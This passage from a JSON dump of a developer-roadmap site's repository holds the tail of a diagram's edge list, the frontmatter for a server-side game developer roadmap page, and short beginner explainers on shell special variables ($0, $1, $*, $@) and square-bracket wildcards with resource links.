\"sourceHandle\": \"x2\",\n      \"target\": \"jnQAzUUnwpJgoRuRIFtSe\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-YPvm8XD_FaFYCQ-b7-KsHx2-jnQAzUUnwpJgoRuRIFtSew2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"6ilqzjvI4J1pUCmTJ33PA\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"HvpuFTCknHPhnFkhmhRc4\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-6ilqzjvI4J1pUCmTJ33PAy2-3QSLUMKD0G08N3MIb1cG7z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HvpuFTCknHPhnFkhmhRc4\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"OAyMj6uLSv1yJ87YAjyZu\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-3QSLUMKD0G08N3MIb1cG7w2-OAyMj6uLSv1yJ87YAjyZux2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HvpuFTCknHPhnFkhmhRc4\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"a2pcxVTGdAPw8aLvdr19M\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-3QSLUMKD0G08N3MIb1cG7x2-a2pcxVTGdAPw8aLvdr19Mw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HvpuFTCknHPhnFkhmhRc4\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"TS6dz61rUSxm-SqmK6JKe\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-HvpuFTCknHPhnFkhmhRc4z2-3QSLUMKD0G08N3MIb1cG7y1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"G_BEJKkJ1_Nc43aosy_iS\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"DYvzGc_r0SlOArPPc1gNI\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-G_BEJKkJ1_Nc43aosy_iSy2-DYvzGc_r0SlOArPPc1gNIz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zbIbPlqTNSbJUkqH9iLQv\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"SXOEMkcVYBsRza6BPmmwy\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-zbIbPlqTNSbJUkqH9iLQvy2-SXOEMkcVYBsRza6BPmmwyz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"3QSLUMKD0G08N3MIb1cG7\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"IeD-oQ1bkwlKNC-R0lJjZ\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-3QSLUMKD0G08N3MIb1cG7z2-IeD-oQ1bkwlKNC-R0lJjZy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"tGQu18PWDatW7HvkTP-uh\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"gB-TYpgUDV47bxznNJhYn\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-cw7WdFfL5HpeZ_n8wYk2ty2-gB-TYpgUDV47bxznNJhYnz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"tGQu18PWDatW7HvkTP-uh\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"FKOhe21PVlaKIoZI4hd49\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-cw7WdFfL5HpeZ_n8wYk2ty2-FKOhe21PVlaKIoZI4hd49z1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"tGQu18PWDatW7HvkTP-uh\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"uTlxyDOtvt_Qp0gXLWO-j\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-cw7WdFfL5HpeZ_n8wYk2ty2-uTlxyDOtvt_Qp0gXLWO-jz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"tGQu18PWDatW7HvkTP-uh\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"1c6EqGv1g-d8M1i0vKImb\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-cw7WdFfL5HpeZ_n8wYk2ty2-1c6EqGv1g-d8M1i0vKImbz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"tGQu18PWDatW7HvkTP-uh\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"HXSWvhgT4L5w6xgOO-3kj\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-cw7WdFfL5HpeZ_n8wYk2ty2-HXSWvhgT4L5w6xgOO-3kjz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"tGQu18PWDatW7HvkTP-uh\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"FLFaGZDg2MSG6_YHnWETM\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-tGQu18PWDatW7HvkTP-uhx2-cw7WdFfL5HpeZ_n8wYk2tw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"4UzHjUtWQExUbCApQZrb1\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"7YNaELVcoV7DV1Fa06USi\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-4UzHjUtWQExUbCApQZrb1z2-7YNaELVcoV7DV1Fa06USiy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"4UzHjUtWQExUbCApQZrb1\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"ayeezKxQkXAPJMTShsOBU\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-4UzHjUtWQExUbCApQZrb1z2-ayeezKxQkXAPJMTShsOBUy2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"FLFaGZDg2MSG6_YHnWETM\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"1788KFqsQBkYARqA0T5GX\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-FLFaGZDg2MSG6_YHnWETMx2-cw7WdFfL5HpeZ_n8wYk2tw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"1788KFqsQBkYARqA0T5GX\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"YxaroYL_Az0vKRCeu2jsp\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-1788KFqsQBkYARqA0T5GXz2-cw7WdFfL5HpeZ_n8wYk2ty2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"YxaroYL_Az0vKRCeu2jsp\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"_uqTTBUYAzDHbEUkDzmzg\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-cw7WdFfL5HpeZ_n8wYk2tw2-_uqTTBUYAzDHbEUkDzmzgx2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"YxaroYL_Az0vKRCeu2jsp\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"cw7WdFfL5HpeZ_n8wYk2t\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-YxaroYL_Az0vKRCeu2jspz2-cw7WdFfL5HpeZ_n8wYk2ty2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"cw7WdFfL5HpeZ_n8wYk2t\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"UESjGrFyUbNf4pQamaBoy\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-cw7WdFfL5HpeZ_n8wYk2tw2-UESjGrFyUbNf4pQamaBoyx2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"cw7WdFfL5HpeZ_n8wYk2t\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"_jd91rrAXGbJI9RhXlSx8\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"type\": \"smoothstep\",\n      \"id\": \"reactflow__edge-cw7WdFfL5HpeZ_n8wYk2tx2-dkCVwuy8GKeEi3VJar_Zoz1\"\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_jd91rrAXGbJI9RhXlSx8\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"ThBxS9xIMt9OrXfnto3rW\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-dkCVwuy8GKeEi3VJar_Zoy2-ThBxS9xIMt9OrXfnto3rWz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_jd91rrAXGbJI9RhXlSx8\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"LVwGXmZhMewGQy61qwNyu\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-dkCVwuy8GKeEi3VJar_Zoy2-LVwGXmZhMewGQy61qwNyuz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_jd91rrAXGbJI9RhXlSx8\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"hhtqvFfTCuVPT0OPu4Y1a\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-_jd91rrAXGbJI9RhXlSx8x2-dkCVwuy8GKeEi3VJar_Zow2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hhtqvFfTCuVPT0OPu4Y1a\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"wD6dUrS-tP2gpCHPghFp5\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-dkCVwuy8GKeEi3VJar_Zoz2-wD6dUrS-tP2gpCHPghFp5y2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hhtqvFfTCuVPT0OPu4Y1a\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"73uoFNGcCALxIuRNbebav\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-dkCVwuy8GKeEi3VJar_Zoz2-73uoFNGcCALxIuRNbebavy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hhtqvFfTCuVPT0OPu4Y1a\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Rkx2A6oWsddlCTseZlpRU\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-dkCVwuy8GKeEi3VJar_Zoz2-Rkx2A6oWsddlCTseZlpRUy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hhtqvFfTCuVPT0OPu4Y1a\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"XCJvgUSS7-oDR-XGdDY33\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-hhtqvFfTCuVPT0OPu4Y1ay2-dkCVwuy8GKeEi3VJar_Zoz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"XCJvgUSS7-oDR-XGdDY33\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"yrWiWJMSyTWxDakJbqacu\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-dkCVwuy8GKeEi3VJar_Zox2-yrWiWJMSyTWxDakJbqacuw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"XCJvgUSS7-oDR-XGdDY33\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"k3FJY26SVxdZx4MLLE25h\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-XCJvgUSS7-oDR-XGdDY33y2-dkCVwuy8GKeEi3VJar_Zoz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"k3FJY26SVxdZx4MLLE25h\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"zW_7VLeEHQp8fp_f5N__0\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-dkCVwuy8GKeEi3VJar_Zoy2-zW_7VLeEHQp8fp_f5N__0z2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zW_7VLeEHQp8fp_f5N__0\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"yAf7VDX7dyaT5AdlNnuKD\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-zW_7VLeEHQp8fp_f5N__0x2-yAf7VDX7dyaT5AdlNnuKDw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"k3FJY26SVxdZx4MLLE25h\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"dkCVwuy8GKeEi3VJar_Zo\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-k3FJY26SVxdZx4MLLE25hx2-dkCVwuy8GKeEi3VJar_Zow1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"dkCVwuy8GKeEi3VJar_Zo\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"XvvlvDKfYRCcYtTdWohsd\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-dkCVwuy8GKeEi3VJar_Zoy2-XvvlvDKfYRCcYtTdWohsdz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"dkCVwuy8GKeEi3VJar_Zo\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"jkWvfp4GqckYPQ48GtjlR\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-dkCVwuy8GKeEi3VJar_Zox2-jkWvfp4GqckYPQ48GtjlRw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"dkCVwuy8GKeEi3VJar_Zo\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"id\": \"reactflow__edge-dkCVwuy8GKeEi3VJar_Zoz2-GV_zWF6rSWg5bqgiXhOEfw1\",\n      \"type\": \"smoothstep\"\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/server-side-game-developer/server-side-game-developer.md",
    "content": "---\npdfUrl: '/pdfs/roadmaps/server-side-game-developer.pdf'\norder: 17\nrenderer: 'editor'\nbriefTitle: 'Server Side Game Developer'\nbriefDescription: 'Roadmap to becoming a Server Side Game Developer in 2025'\ntitle: 'Server Side Game Developer'\ndescription: 'Roadmap to becoming a Server Side Game Developer in 2025'\nhasTopics: true\nisNew: true\nisHidden: true\ndimensions:\n  width: 968\n  height: 2850\nschema:\n  headline: 'Server Side Game Developer Roadmap'\n  description: 'Learn what Server Side Game Development is, what server side game developers do and how to become one using our community-driven roadmap.'\n  imageUrl: 'https://roadmap.sh/roadmaps/server-side-game-developer.png'\n  datePublished: '2023-10-26'\n  dateModified: '2023-10-26'\nseo:\n  title: 'Server Side Game Developer Roadmap'\n  description: 'Learn what Server Side Game Development is, what server side game developers do and how to become one using our community-driven roadmap.'\n  keywords:\n    - 'server side game developer roadmap 2024'\n    - 'server side game developer roadmap 2024'\n    - 'guide to becoming a server side game developer'\n    - 'server side game developer roadmap'\n    - 'server side game developer roadmap 2025'\n    - 'server side game developer'\n    - 'server side game engineer'\n    - 'server side game skills'\n    - 'server side game development'\n    - 'server side game development skills'\n    - 'server side game development skills test'\n    - 'server side game engineer roadmap'\n    - 'server side game developer roadmap'\n    - 'become a server side game developer'\n    - 'server side game developer career path'\n    - 'skills for game development'\n    - 'learn server side game development'\n    - 'what is server side game development'\n    - 'server side game developer quiz'\n    - 'server side game developer interview questions'\nrelatedRoadmaps:\n  - 'backend'\n  - 'game-developer'\n  - 'software-architect'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'role-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/0@pgZIDDxAP9mOtEI0HL3l-.md",
    "content": "# $0 in Shell Scripting\n\nIn shell scripting, `$0` is a special variable that holds the name of the script being executed. It essentially represents the command used to invoke the script. This can be the script's filename, or if the script was invoked with a path, it will contain that path. `$0` is useful for identifying the script itself within the script's code, for example, in logging or error messages.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding Special Parameters in Linux Shell Scripting](https://medium.com/@tradingcontentdrive/understanding-special-parameters-in-linux-shell-scripting-0-62768f49fb34)\n- [@video@Using BASH Script Arguments](https://www.youtube.com/watch?v=vsRBWCfMf9A)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/1-2-3@DiYuY3M3eD1WKO5w16Swa.md",
    "content": "# Positional Parameters\n\nPositional parameters in shell scripting are variables that hold the command-line arguments passed to a script. These parameters are represented by special variables like `$1`, `$2`, `$3`, and so on, where each number corresponds to the order in which the argument was provided when the script was executed. `$1` holds the first argument, `$2` the second, and so forth, allowing scripts to access and process input provided by the user.\n\nVisit the following resources to learn more:\n\n- [@article@Bash Positional Parameters](https://adminschoice.com/bash-positional-parameters/)\n- [@article@Positional Parameters](https://www.gnu.org/software/bash/manual/html_node/Positional-Parameters.html)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/@2Fh0NFuNxuc-wU3VXv8Zj.md",
    "content": "# $*\n\n`$*` is a special variable in shell scripting that expands to all the positional parameters (arguments) passed to a script or function. It represents all the arguments as a single string, with each argument separated by the first character of the `IFS` (Internal Field Separator) variable, which defaults to a space, tab, and newline. This allows you to easily access and iterate over all the arguments provided to your script.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding Special Parameters in Linux Shell Scripting](https://medium.com/@tradingcontentdrive/understanding-special-parameters-in-linux-shell-scripting-0-62768f49fb34)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/@Pr8XdVGYBIuCyRW4w45sa.md",
    "content": "# Square Bracket Wildcards in Shell/Bash\n\nSquare brackets `[]` in shell wildcards define a character class, matching any single character _within_ the brackets. This allows you to specify a range or set of characters to match in a filename or string. For example, `[abc]` will match either 'a', 'b', or 'c'. You can also use ranges like `[a-z]` to match any lowercase letter or `[0-9]` to match any digit. A caret `^` inside the brackets negates the character class, matching any character _not_ listed (e.g., `[^0-9]` matches anything that isn't a digit).\n\nVisit the following resources to learn more:\n\n- [@article@Standard Wildcards / Globbing Patterns in Linux](https://www.putorius.net/standard-wildcards-globbing-patterns-in.html)\n- [@video@wildcards in linux | asterisk , question mark , square brackets , curly brackets , escape character](https://www.youtube.com/watch?v=_J9JwnIzJ9o)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/@VLzMSaoVA46PTLHwZtDUx.md",
    "content": "# Script Arguments using $@\n\n`$@` is a special variable in shell scripting that expands to all the positional parameters (arguments) passed to a script. Each argument is treated as a separate word, even if it contains spaces, ensuring that the script receives and processes each argument individually. This is particularly useful when you need to iterate over or manipulate each argument provided to your script.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding Special Parameters in Linux Shell Scripting:](https://medium.com/@tradingcontentdrive/understanding-special-parameters-in-linux-shell-scripting-0-62768f49fb34)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/@X6aVYPapBn-EC9Dw6LMDB.md",
